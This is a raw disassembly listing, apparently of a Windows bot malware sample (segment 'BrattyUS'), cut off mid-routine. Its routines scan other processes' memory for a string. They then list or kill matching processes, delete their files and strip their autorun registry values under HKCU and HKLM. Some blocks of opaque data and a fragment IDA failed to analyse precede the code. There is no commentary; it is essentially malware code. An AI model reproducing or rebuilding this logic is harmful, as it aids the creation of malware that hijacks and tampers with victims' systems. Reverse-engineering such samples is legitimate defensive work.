		dd 0F4F4F4F5h, 111DF4F4h, 5AF411D7h
		db 1Dh,	0F0h
word_400AEA	dw 5A4Ch		; DATA XREF: BrattyUS:003DF454o
		dd 9FFF0356h, 5200A000h, 51FF2E2Dh, 0
		dd 0D1BBF14Ah, 2E2E0D6Dh, 50D92E2Eh, 11FF2E26h,	0E2893EACh
		dd 5465A89h, 0BA00F200h, 3DFF5400h, 0CFFF58D2h,	522EF1FFh
		dd 945BF2A9h, 945B0000h, 5AD2945Bh, 592E5B2Eh, 0B4A95AD2h
		dd 9000h, 2 dup(0)
		dd 51FF0000h, 0A4A42EAAh, 15460BFFh, 1553E8B8h,	15531553h
		dd 8849h, 0BA008847h, 901DE9FFh, 15535222h, 0E691C296h
		dd 0FCB82B4Ah, 0ADFF7CB8h, 6C004200h, 3200B1FFh, 0B8008000h
		dd 1468200h
; ---------------------------------------------------------------------------

loc_400B84:				; DATA XREF: BrattyUS:003DF458o
		push	esp
		push	esp
		db	2Eh, 2Eh, 2Eh
		push	esp
		push	esp
		push	esp
		db	2Eh
		pop	edx
		adc	[ecx+54h], esi
		push	esp
		push	esp
		push	esp
		push	esp
		retn	2E2Eh
; ---------------------------------------------------------------------------
		dd 2E2E2E2Eh, 0D42E2E54h, 912E2E2Eh, 0F52EF52Eh, 0C62EF52Eh
		dd 2E2E2EF5h, 0E12E2E54h, 112ECC2Eh, 11121182h,	54111111h
		dd 0C9545454h, 54541154h, 111194C9h, 5A112E2Eh,	0D311D5D0h
		dd 0C25411D0h, 54A9CE2Eh, 0D1D5D954h, 0C6542E54h, 94545454h
		dd 2ECEC211h, 5454F854h, 54542E54h, 212E2E96h, 0CD392E3Dh
		dd 0D45AA354h, 0C2D8C2D3h, 5454C211h, 54545454h, 0BA9054B7h
		dd 54F1F12Eh, 0F1F1F111h, 545454F1h, 54545454h,	90545454h
		dd 54545454h, 82545454h, 5454542Eh, 54542E82h, 542E9454h
		dd 2ED52E54h, 542EDA2Eh, 0D7D45454h, 113B114Eh,	5454DADAh
		dd 0EA1354D4h, 54C2545Ah, 112E2ED4h, 54545454h,	5A111186h
		dd 0F3125A5Ah, 5AD52E5Ah, 94549494h, 11945411h,	94549454h
		dd 945A1111h, 95111194h, 11EE115Ah, 0DC5A5A2Fh,	5AD39583h
		dd 525ADF94h, 125A11F7h, 58D3115Ah, 8E545454h, 5A541161h
		dd 11ED12D1h, 6CDF94D3h, 5454123Ah, 31D75A47h, 115A5A5Ah
		dd 2 dup(2E2E2E2Eh), 952E2ED4h,	2E2E952Eh, 35119454h, 545AD054h
		dd 90545454h, 54D15A54h, 905A5454h, 5A5A905Ah, 0D15A5454h
		dd 2E2E5A94h, 542E2E2Eh, 2E2E2E54h, 54542ED1h, 5454C854h
		dd 5454545Ah, 54111111h, 95541154h, 110FE00Fh, 0C2545411h
		dd 5454DF54h, 0F7CEC9CDh, 0FE5AD62Dh, 2D187594h, 0D9255A2Dh
		dd 0C05AECD3h, 1111115Ah, 5A111111h, 5 dup(94949494h)
		dd 94119494h, 11DEDE94h, 0DE11D311h, 5A5A5ADCh,	54549454h
		dd 0DDDBDBFAh, 0DBDDDDDDh, 545454C6h, 2B54DDDDh, 542E9494h
		dd 2E2E5454h, 54300118h, 119454E7h, 0DDDD9494h,	945494DDh
		dd 756C5494h, 0C454D8D8h, 54545454h, 0CD945A54h, 945ACD94h
		dd 545A5ACDh, 52CFD75Ah, 54115A94h, 5A115A95h, 54D15454h
		dd 5A5A5A5Ah, 5411545Ah, 0ED99112Eh, 0C22ED02Eh, 2E2E2E2Eh
		dd 545A18C5h, 54541111h, 5A2E112Eh, 1111E614h, 0D52DC7D1h
		dd 0C71111E6h, 0ACD52DC7h, 545454D6h, 116F5454h, 75756C54h
		dd 54541154h, 6C545454h, 2E2E2E75h, 2E2E2E2Eh, 54542E2Eh
		dd 54545454h, 2E6C756Ch, 902E2E2Eh, 1154542Eh, 0D454D490h
		dd 11545454h, 54111111h, 54111154h, 54545954h, 0D4545454h
		dd 0DDDDDD57h, 5ADDDDDDh, 54541211h, 5454545Ah,	54D17254h
		dd 5454D154h, 0E4125AA7h, 1111545Ah, 11115454h,	2E2E2E54h
		dd 942EDB2Eh, 54541154h, 5A545A54h, 5454D45Ah, 11542E2Eh
		dd 5454DB54h, 11115454h, 11D4D454h, 54D31159h, 519CC4C4h
		dd 9494D451h, 117AD454h, 0D354A111h, 11545454h,	0D3CCF12Dh
		dd 91945A94h, 915A2D2Dh, 952D955Ah, 55555594h, 5555C155h
		dd 58552555h, 3	dup(55555555h),	945A5A2Dh, 5AD35AD9h, 0BB945AD7h
		dd 542E5454h, 0CA2E2E54h, 54542ED1h, 182E2E54h,	5A18548Dh
		dd 2EC22ED1h, 2E2E2E11h, 6C6C8B2Eh, 54D454D3h, 54EC5454h
		dd 111154D4h, 945439D1h, 0DD949411h, 549C5A5Ah,	545254F7h
		dd 0FE6654C9h, 2DA24D54h, 0D1815AD4h, 6B9254D1h, 54545454h
		dd 2EEE5A94h, 0D3955454h, 0DA58D354h, 94115411h, 0D354545Ah
		dd 0D65AD390h, 0D9D99454h, 0DF1154D9h, 0DFDFD4DFh, 0F7545AD4h
		dd 9454E654h, 5AC3C454h, 54115454h, 546C1154h, 545454DBh
		dd 2D545454h, 54D3D411h, 0D454CD2Eh, 94111111h,	11549454h
		dd 11D411DBh, 11545A54h, 2E555454h, 5A845454h, 0DF54F854h
		dd 54541154h, 5454E75Ah, 11541154h, 5454D32Eh, 11D4CDF5h
		dd 542E94D3h, 542E1154h, 54545411h, 0EC545497h,	82C7CFDBh
		dd 2E2ECC54h, 0DBCDC7DBh, 0C754DB54h, 54DB5454h, 0C1C1C754h
		dd 54F92EC1h, 11545490h, 542E5454h, 0E5CCE511h,	0E5E5E511h
		dd 54F954E5h, 54F99554h, 552E5490h, 542E2E2Eh, 5454F954h
		dd 545A2E54h, 0FFE65454h, 0EBC2CDF4h, 545A5AE8h, 6CCE545Ch
		dd 99B9D46Ch, 0D4C952DDh, 115A5A54h, 54D45411h,	11272E2Eh
		dd 2E2E2E54h, 2E2EC22Eh, 25C9542Eh, 0C5C525C9h,	2711845Ah

; =============== S U B	R O U T	I N E =======================================



sub_400FFC	proc near		; DATA XREF: BrattyUS:003DF460o
		xchg	eax, esp
		adc	[edi], esp
		pushf
sub_400FFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------

loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------

loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax

loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------

loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------

loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------

loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------

loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------

loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax

loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------

loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------

loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------

loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------

loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax

loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------

loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------

loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------

loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0

loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------

loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax

loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0

loc_401495:				; DATA XREF: BrattyUS:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------

loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax

loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB

loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------

loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax

loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------

loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------

loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------

loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------

loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------

loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx

loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------

loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------

loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------

loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------

loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------

loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------

loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------

loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------

loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------

loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------

loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7

loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------

loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------

loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------

loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"

loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DEF4, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DEF4
		call	dword_4170A4	; CloseHandle

loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DEE8, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DEE8
		call	dword_4170A4	; CloseHandle

loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DEEC, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DEEC
		call	dword_4170A4	; CloseHandle

loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DEF0, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DEF0
		call	dword_4170A4	; CloseHandle

loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922

loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DEFC
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------

loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DEFC
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------

loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------

loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DEFC, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
